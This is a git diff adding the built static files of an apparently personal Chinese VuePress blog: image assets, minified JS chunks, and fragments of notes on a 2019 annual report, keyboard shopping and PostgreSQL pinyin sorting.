diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/404.html b/404.html new file mode 100644 index 0000000..ac5b5af --- /dev/null +++ b/404.html @@ -0,0 +1,34 @@ + + +
+ + + + + +在家中无限期的游玩
25日 , 海淀区 参加蓝桥杯国赛, 拿到B组二等奖
',6),d=[t];function c(n,i){return a(),r("div",null,d)}const o=e(h,[["render",c],["__file","2019年年度汇报.html.vue"]]);export{o as default}; diff --git a/assets/20200216001653735_883-IQNkpcp5.png b/assets/20200216001653735_883-IQNkpcp5.png new file mode 100644 index 0000000..8f17ae8 Binary files /dev/null and b/assets/20200216001653735_883-IQNkpcp5.png differ diff --git a/assets/20200216003909531_3860-Kd-pzYyS.png b/assets/20200216003909531_3860-Kd-pzYyS.png new file mode 100644 index 0000000..4078592 Binary files /dev/null and b/assets/20200216003909531_3860-Kd-pzYyS.png differ diff --git a/assets/20200216003958555_8778-v9lJg-BZ.png b/assets/20200216003958555_8778-v9lJg-BZ.png new file mode 100644 index 0000000..f6a5c24 Binary files /dev/null and b/assets/20200216003958555_8778-v9lJg-BZ.png differ diff --git a/assets/20200216004851429_31590-ycX-VYgZ.js b/assets/20200216004851429_31590-ycX-VYgZ.js new file mode 100644 index 0000000..68683b3 --- /dev/null +++ b/assets/20200216004851429_31590-ycX-VYgZ.js @@ -0,0 +1 @@ +const A="/assets/20200216005249746_24248-IkKG5FEb.png",K="data:image/png;base64,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";export{A as _,K as a}; diff --git a/assets/20200216005034283_6861-hoVHTvC9.png b/assets/20200216005034283_6861-hoVHTvC9.png new file mode 100644 index 0000000..730ce3a Binary files /dev/null and b/assets/20200216005034283_6861-hoVHTvC9.png differ diff --git a/assets/20200216005249746_24248-IkKG5FEb.png b/assets/20200216005249746_24248-IkKG5FEb.png new file mode 100644 index 0000000..4bb8720 Binary files /dev/null and b/assets/20200216005249746_24248-IkKG5FEb.png differ diff --git a/assets/20200216005527217_28042-hRMqyCAE.png b/assets/20200216005527217_28042-hRMqyCAE.png new file mode 100644 index 0000000..405be6e Binary files /dev/null and b/assets/20200216005527217_28042-hRMqyCAE.png differ diff --git a/assets/20200216010203757_32340-VomJlKL_.png b/assets/20200216010203757_32340-VomJlKL_.png new file mode 100644 index 0000000..3eb7cb6 Binary files /dev/null and b/assets/20200216010203757_32340-VomJlKL_.png differ diff --git a/assets/20200216010453980_27238-hTvJHllu.png b/assets/20200216010453980_27238-hTvJHllu.png new file mode 100644 index 0000000..b4f8e85 Binary files /dev/null and b/assets/20200216010453980_27238-hTvJHllu.png differ diff --git a/assets/20200216010658929_2127--mQBQPAm.png b/assets/20200216010658929_2127--mQBQPAm.png new file mode 100644 index 0000000..0cf8279 Binary files /dev/null and b/assets/20200216010658929_2127--mQBQPAm.png differ diff --git a/assets/20200216011139813_4073-CFm4jt_m.png b/assets/20200216011139813_4073-CFm4jt_m.png new file mode 100644 index 0000000..783db13 Binary files /dev/null and b/assets/20200216011139813_4073-CFm4jt_m.png differ diff --git a/assets/20200216011249181_32265-KdC56aiJ.png b/assets/20200216011249181_32265-KdC56aiJ.png new file mode 100644 index 0000000..77a08ee Binary files /dev/null and b/assets/20200216011249181_32265-KdC56aiJ.png differ diff --git a/assets/20200216012809191_27147-cjku2_ER.png b/assets/20200216012809191_27147-cjku2_ER.png new file mode 100644 index 0000000..a04a3b4 Binary files /dev/null and b/assets/20200216012809191_27147-cjku2_ER.png differ diff --git a/assets/20200216015749119_31992-XAlIPdu_.png b/assets/20200216015749119_31992-XAlIPdu_.png new file mode 100644 index 0000000..4e3801f Binary files /dev/null and b/assets/20200216015749119_31992-XAlIPdu_.png differ diff --git a/assets/20200216020006936_26223-6nqb2gLR.png b/assets/20200216020006936_26223-6nqb2gLR.png new file mode 100644 index 0000000..1245f2a Binary files /dev/null and b/assets/20200216020006936_26223-6nqb2gLR.png differ diff --git a/assets/20200216020115513_27857-2qK9dJpn.png b/assets/20200216020115513_27857-2qK9dJpn.png new file mode 100644 index 0000000..aeb2bd8 Binary files /dev/null and b/assets/20200216020115513_27857-2qK9dJpn.png differ diff --git a/assets/20200216020714652_5899-vsZEi9Fr.png b/assets/20200216020714652_5899-vsZEi9Fr.png new file mode 100644 index 0000000..77c2d45 Binary files /dev/null and b/assets/20200216020714652_5899-vsZEi9Fr.png differ diff --git a/assets/20200216020814094_3886-Y1sov4DF.png b/assets/20200216020814094_3886-Y1sov4DF.png new file mode 100644 index 0000000..14ff281 Binary files /dev/null and b/assets/20200216020814094_3886-Y1sov4DF.png differ diff --git a/assets/20200216153319843_23184-3ZlR-OOz.png b/assets/20200216153319843_23184-3ZlR-OOz.png new file mode 100644 index 0000000..66a7b18 Binary files /dev/null and b/assets/20200216153319843_23184-3ZlR-OOz.png differ diff --git a/assets/20200216153545000_7574-O4HmZ0GH.png b/assets/20200216153545000_7574-O4HmZ0GH.png new file mode 100644 index 0000000..ab03c88 Binary files /dev/null and b/assets/20200216153545000_7574-O4HmZ0GH.png differ diff --git a/assets/20200216153609444_2629-ixahf16v.png b/assets/20200216153609444_2629-ixahf16v.png new file mode 100644 index 0000000..6349d48 Binary files /dev/null and b/assets/20200216153609444_2629-ixahf16v.png differ diff --git a/assets/20200216154035988_9536-02LS7Lye.png b/assets/20200216154035988_9536-02LS7Lye.png new file mode 100644 index 0000000..286b757 Binary files /dev/null and b/assets/20200216154035988_9536-02LS7Lye.png differ diff --git a/assets/20200216154144431_6911-SPeYXN50.png b/assets/20200216154144431_6911-SPeYXN50.png new file mode 100644 index 0000000..54e36c2 Binary files /dev/null and b/assets/20200216154144431_6911-SPeYXN50.png differ diff --git a/assets/20200216154222027_24290-6_tTy4lT.png b/assets/20200216154222027_24290-6_tTy4lT.png new file mode 100644 index 0000000..e1d4e90 Binary files /dev/null and b/assets/20200216154222027_24290-6_tTy4lT.png differ diff --git a/assets/20200216154335434_2501-StwAyUTR.png b/assets/20200216154335434_2501-StwAyUTR.png new file mode 100644 index 0000000..0b41f6c Binary files /dev/null and b/assets/20200216154335434_2501-StwAyUTR.png differ diff --git a/assets/20200216154747896_13220-aBXmIC1D.png b/assets/20200216154747896_13220-aBXmIC1D.png new file mode 100644 index 0000000..a8d7621 Binary files /dev/null and b/assets/20200216154747896_13220-aBXmIC1D.png differ diff --git a/assets/20200216154959017_19426-XDkjvjMW.png b/assets/20200216154959017_19426-XDkjvjMW.png new file mode 100644 index 0000000..21e78b4 Binary files /dev/null and b/assets/20200216154959017_19426-XDkjvjMW.png differ diff --git a/assets/20200216161057865_16709-Qp-cWsyF.png b/assets/20200216161057865_16709-Qp-cWsyF.png new file mode 100644 index 0000000..2bdcc89 Binary files /dev/null and b/assets/20200216161057865_16709-Qp-cWsyF.png differ diff --git a/assets/20200216161132880_26553-09cgfzSI.png b/assets/20200216161132880_26553-09cgfzSI.png new file mode 100644 index 0000000..767a49c Binary files /dev/null and b/assets/20200216161132880_26553-09cgfzSI.png differ diff --git a/assets/20200216161321957_23988-DgbbbMPg.png b/assets/20200216161321957_23988-DgbbbMPg.png new file mode 100644 index 0000000..4adab96 Binary files /dev/null and b/assets/20200216161321957_23988-DgbbbMPg.png differ diff --git a/assets/20200216162855158_2094-r5FBiv_f.png b/assets/20200216162855158_2094-r5FBiv_f.png new file mode 100644 index 0000000..5dad0ca Binary files /dev/null and b/assets/20200216162855158_2094-r5FBiv_f.png differ diff --git a/assets/20200216164012830_18992-4J4_TkRN.png b/assets/20200216164012830_18992-4J4_TkRN.png new file mode 100644 index 0000000..b3f9f88 Binary files /dev/null and b/assets/20200216164012830_18992-4J4_TkRN.png differ diff --git a/assets/20200313180023826_26780-wWVBxmWt.png b/assets/20200313180023826_26780-wWVBxmWt.png new file mode 100644 index 0000000..2cf775d Binary files /dev/null and b/assets/20200313180023826_26780-wWVBxmWt.png differ diff --git a/assets/20200414193656801_9782-A3TGyBfn.png b/assets/20200414193656801_9782-A3TGyBfn.png new file mode 100644 index 0000000..a00ec34 Binary files /dev/null and b/assets/20200414193656801_9782-A3TGyBfn.png differ diff --git a/assets/20200901183418861_6495-bTW84ikP.png b/assets/20200901183418861_6495-bTW84ikP.png new file mode 100644 index 0000000..4893c64 Binary files /dev/null and b/assets/20200901183418861_6495-bTW84ikP.png differ diff --git a/assets/20200901183528812_6549-HohvyDgv.png b/assets/20200901183528812_6549-HohvyDgv.png new file mode 100644 index 0000000..d394f2f Binary files /dev/null and b/assets/20200901183528812_6549-HohvyDgv.png differ diff --git a/assets/20200901183708535_18118-C3ZqngYK.png b/assets/20200901183708535_18118-C3ZqngYK.png new file mode 100644 index 0000000..fae6e92 Binary files /dev/null and b/assets/20200901183708535_18118-C3ZqngYK.png differ diff --git a/assets/20200901183832304_18855-ATV1U73Z.png b/assets/20200901183832304_18855-ATV1U73Z.png new file mode 100644 index 0000000..6bff48c Binary files /dev/null and b/assets/20200901183832304_18855-ATV1U73Z.png differ diff --git a/assets/20200901193852676_25722-MuH2SkjC.png b/assets/20200901193852676_25722-MuH2SkjC.png new file mode 100644 index 0000000..bf95b4f Binary files /dev/null and b/assets/20200901193852676_25722-MuH2SkjC.png differ diff --git a/assets/20200904175700699_9216-cL-SE0zR.png b/assets/20200904175700699_9216-cL-SE0zR.png new file mode 100644 index 0000000..63b1ffd Binary files /dev/null and b/assets/20200904175700699_9216-cL-SE0zR.png differ diff --git a/assets/20200907113712971_21558-UR7FKPl7.png b/assets/20200907113712971_21558-UR7FKPl7.png new file mode 100644 index 0000000..0bb4174 Binary files /dev/null and b/assets/20200907113712971_21558-UR7FKPl7.png differ diff --git a/assets/20200911144429087_21780-UgjUW2WM.png b/assets/20200911144429087_21780-UgjUW2WM.png new file mode 100644 index 0000000..4f57e43 Binary files /dev/null and b/assets/20200911144429087_21780-UgjUW2WM.png differ diff --git a/assets/20200911144457950_30869-783m7FV3.js b/assets/20200911144457950_30869-783m7FV3.js new file mode 100644 index 0000000..2b61918 --- /dev/null +++ b/assets/20200911144457950_30869-783m7FV3.js @@ -0,0 +1 @@ +const s="/assets/20200911144429087_21780-UgjUW2WM.png",t="/assets/20200911144457950_30869-rGGuu0yj.png";export{s as _,t as a}; diff --git a/assets/20200911144457950_30869-rGGuu0yj.png b/assets/20200911144457950_30869-rGGuu0yj.png new file mode 100644 index 0000000..211be69 Binary files /dev/null and b/assets/20200911144457950_30869-rGGuu0yj.png differ diff --git a/assets/20201028111849591_17629-qHhsPnSN.png b/assets/20201028111849591_17629-qHhsPnSN.png new file mode 100644 index 0000000..4b556f7 Binary files /dev/null and b/assets/20201028111849591_17629-qHhsPnSN.png differ diff --git a/assets/20201028112620077_29096-nP_fmyqj.png b/assets/20201028112620077_29096-nP_fmyqj.png new file mode 100644 index 0000000..592c1c0 Binary files /dev/null and b/assets/20201028112620077_29096-nP_fmyqj.png differ diff --git a/assets/20201028112637988_17637-ZPWbOD8Z.png b/assets/20201028112637988_17637-ZPWbOD8Z.png new file mode 100644 index 0000000..3c88d8b Binary files /dev/null and b/assets/20201028112637988_17637-ZPWbOD8Z.png differ diff --git a/assets/20201028112704364_31298-EEcfg45a.png b/assets/20201028112704364_31298-EEcfg45a.png new file mode 100644 index 0000000..306b651 Binary files /dev/null and b/assets/20201028112704364_31298-EEcfg45a.png differ diff --git a/assets/20201028112723365_22810-ZPTRYmvU.png b/assets/20201028112723365_22810-ZPTRYmvU.png new file mode 100644 index 0000000..0ae546d Binary files /dev/null and b/assets/20201028112723365_22810-ZPTRYmvU.png differ diff --git a/assets/20201028112741659_23346-9v_O1g-B.png b/assets/20201028112741659_23346-9v_O1g-B.png new file mode 100644 index 0000000..25c14bb Binary files /dev/null and b/assets/20201028112741659_23346-9v_O1g-B.png differ diff --git a/assets/20201028113043407_26300-eYJszmty.png b/assets/20201028113043407_26300-eYJszmty.png new file mode 100644 index 0000000..4109b2c Binary files /dev/null and b/assets/20201028113043407_26300-eYJszmty.png differ diff --git a/assets/20201028143720450_16306-kIRzpCo2.png b/assets/20201028143720450_16306-kIRzpCo2.png new file mode 100644 index 0000000..e916e72 Binary files /dev/null and b/assets/20201028143720450_16306-kIRzpCo2.png differ diff --git a/assets/20201028143741429_31672-49mnKWTl.png b/assets/20201028143741429_31672-49mnKWTl.png new file mode 100644 index 0000000..b5185fc Binary files /dev/null and b/assets/20201028143741429_31672-49mnKWTl.png differ diff --git a/assets/20201028143855586_15749-J-YRX282.png b/assets/20201028143855586_15749-J-YRX282.png new file mode 100644 index 0000000..0a8a8e8 Binary files /dev/null and b/assets/20201028143855586_15749-J-YRX282.png differ diff --git a/assets/20201028143917116_14446-Hif_DF24.png b/assets/20201028143917116_14446-Hif_DF24.png new file mode 100644 index 0000000..a960cc1 Binary files /dev/null and b/assets/20201028143917116_14446-Hif_DF24.png differ diff --git a/assets/20201028145335586_24818-wb6LNbXY.png b/assets/20201028145335586_24818-wb6LNbXY.png new file mode 100644 index 0000000..7588a68 Binary files /dev/null and b/assets/20201028145335586_24818-wb6LNbXY.png differ diff --git a/assets/20201028145447224_19742-kmDrGdfN.png b/assets/20201028145447224_19742-kmDrGdfN.png new file mode 100644 index 0000000..0894ef9 Binary files /dev/null and b/assets/20201028145447224_19742-kmDrGdfN.png differ diff --git a/assets/20201028153839771_805-cmkxF9kR.png b/assets/20201028153839771_805-cmkxF9kR.png new file mode 100644 index 0000000..15ad902 Binary files /dev/null and b/assets/20201028153839771_805-cmkxF9kR.png differ diff --git a/assets/20201028154016449_11872-hdGUXOME.png b/assets/20201028154016449_11872-hdGUXOME.png new file mode 100644 index 0000000..3ffd43d Binary files /dev/null and b/assets/20201028154016449_11872-hdGUXOME.png differ diff --git a/assets/20210706000854738_8657-_CyPZxwc.png b/assets/20210706000854738_8657-_CyPZxwc.png new file mode 100644 index 0000000..559dfa6 Binary files /dev/null and b/assets/20210706000854738_8657-_CyPZxwc.png differ diff --git a/assets/20210710111354832_28033-d6IVyjbP.png b/assets/20210710111354832_28033-d6IVyjbP.png new file mode 100644 index 0000000..6e05695 Binary files /dev/null and b/assets/20210710111354832_28033-d6IVyjbP.png differ diff --git a/assets/20210710111622380_22277-rkxmw4x3.png b/assets/20210710111622380_22277-rkxmw4x3.png new file mode 100644 index 0000000..e848a15 Binary files /dev/null and b/assets/20210710111622380_22277-rkxmw4x3.png differ diff --git a/assets/20210710111717516_31301-jnrMYRo7.png b/assets/20210710111717516_31301-jnrMYRo7.png new file mode 100644 index 0000000..e248fdf Binary files /dev/null and b/assets/20210710111717516_31301-jnrMYRo7.png differ diff --git a/assets/20210710111828345_24528-wV1biks8.png b/assets/20210710111828345_24528-wV1biks8.png new file mode 100644 index 0000000..97f56e6 Binary files /dev/null and b/assets/20210710111828345_24528-wV1biks8.png differ diff --git a/assets/20210712122339853_29496-WHb4SxrT.png b/assets/20210712122339853_29496-WHb4SxrT.png new file mode 100644 index 0000000..331b870 Binary files /dev/null and b/assets/20210712122339853_29496-WHb4SxrT.png differ diff --git a/assets/20210712122439699_5581-wNjEpKjZ.png b/assets/20210712122439699_5581-wNjEpKjZ.png new file mode 100644 index 0000000..f4aec84 Binary files /dev/null and b/assets/20210712122439699_5581-wNjEpKjZ.png differ diff --git a/assets/20210712122457899_22964--zHa_imy.png b/assets/20210712122457899_22964--zHa_imy.png new file mode 100644 index 0000000..5ca9d32 Binary files /dev/null and b/assets/20210712122457899_22964--zHa_imy.png differ diff --git a/assets/20210818031909887_21744-zbqdqOVa.png b/assets/20210818031909887_21744-zbqdqOVa.png new file mode 100644 index 0000000..e6aee15 Binary files /dev/null and b/assets/20210818031909887_21744-zbqdqOVa.png differ diff --git "a/assets/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html-UPAJYpuk.js" "b/assets/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html-UPAJYpuk.js" new file mode 100644 index 0000000..79e717a --- /dev/null +++ "b/assets/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html-UPAJYpuk.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-1d07bef0","path":"/notebook/2022-8%E6%9C%BA%E6%A2%B0%E9%94%AE%E7%9B%98%E9%9C%80%E6%B1%82.html","title":"2022-8机械键盘需求","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"用过的","slug":"用过的","link":"#用过的","children":[{"level":3,"title":"雷柏 V805","slug":"雷柏-v805","link":"#雷柏-v805","children":[]},{"level":3,"title":"宁芝 82","slug":"宁芝-82","link":"#宁芝-82","children":[]}]},{"level":2,"title":"1公司用","slug":"_1公司用","link":"#_1公司用","children":[{"level":3,"title":"罗技MX keys","slug":"罗技mx-keys","link":"#罗技mx-keys","children":[]},{"level":3,"title":"Keychen K3","slug":"keychen-k3","link":"#keychen-k3","children":[]},{"level":3,"title":"TTC金粉,茶静","slug":"ttc金粉-茶静","link":"#ttc金粉-茶静","children":[]}]},{"level":2,"title":"2家里用","slug":"_2家里用","link":"#_2家里用","children":[{"level":3,"title":"rk 87","slug":"rk-87","link":"#rk-87","children":[]},{"level":3,"title":"黑峡谷","slug":"黑峡谷","link":"#黑峡谷","children":[]},{"level":3,"title":"rk 98","slug":"rk-98","link":"#rk-98","children":[]},{"level":3,"title":"达尔优","slug":"达尔优","link":"#达尔优","children":[]},{"level":3,"title":"fl cmk 98","slug":"fl-cmk-98","link":"#fl-cmk-98","children":[]},{"level":3,"title":"akko","slug":"akko","link":"#akko","children":[]},{"level":3,"title":"珂芝","slug":"珂芝","link":"#珂芝","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/2022-8机械键盘需求.md"}');export{l as data}; diff --git "a/assets/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html-aZY-ZaE9.js" "b/assets/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html-aZY-ZaE9.js" new file mode 100644 index 0000000..472e0b7 --- /dev/null +++ "b/assets/2022-8\346\234\272\346\242\260\351\224\256\347\233\230\351\234\200\346\261\202.html-aZY-ZaE9.js" @@ -0,0 +1 @@ +import{_ as a,o as s,c as e,a as r}from"./app-x8p6wK6B.js";const t="/assets/20220802173939155_6597-6CHxBUTj.png",i="/assets/20220802173903823_21890-rdVdbSQy.png",h="/assets/20220802174217434_8203-b7mhjjOk.png",n="/assets/20220802170125044_2240-saycqpps.png",c="/assets/20220802173323861_22313-e3oQHXwO.png",d="/assets/20220802173421936_17841-ZoMXgp70.png",_="/assets/20220731200548028_21925-1KbHrxHX.png",p="/assets/20220731201044629_4162-XhCkaSEq.png",o="/assets/20220731200136604_337-msppGkIG.png",m="/assets/20220731201214493_26640-09KLe87h.png",l="/assets/20220731200115907_6521-aRB7RXRV.png",g="/assets/20220731202148112_32356-Uad1VhED.png",k="/assets/20220731195820978_26214-5JUUyO_y.png",f="/assets/20220731202427851_1049-GhavgIqK.png",x="/assets/20220731195842725_13203-Q152G8IA.png",u="/assets/20220731202736174_29464-i9gqiiZg.png",b="/assets/20220731200011685_26497-jZk7Q90Z.png",y="/assets/20220731200036072_1414-FBC2yiUK.png",K="/assets/20220731202934975_22322-Z_KijlGG.png",j={},G=r('https://item.jd.com/4619025.html#product-detail
好看就行,104, 87, 84
mx keys 399 430.2mm×131.6mm×20.5mm 2.4g+蓝牙+有线
有线+蓝牙 无背光
< 30cm
无线
40 mm高
pg数据库存储的utf8字段,需要按拼音进行排序
方案1:在了解到gbk编码按照拼音顺序编码后,使用convert函数将utf8字段转为gbk,然后ordr by即可 ORDER BY CONVERT(ColumnName USING gbk)
小问题:存储的emjoy等不能转换为utf8的,则会查询失败, 需要禁止输入非gbk编码
方案2:select * from process order by name collate "zh_CN"
前提db有这个collate,可以通过select * from pg_collation;
查询
group_member_ids: list[StringIDInput] = Field(alias="group_members")
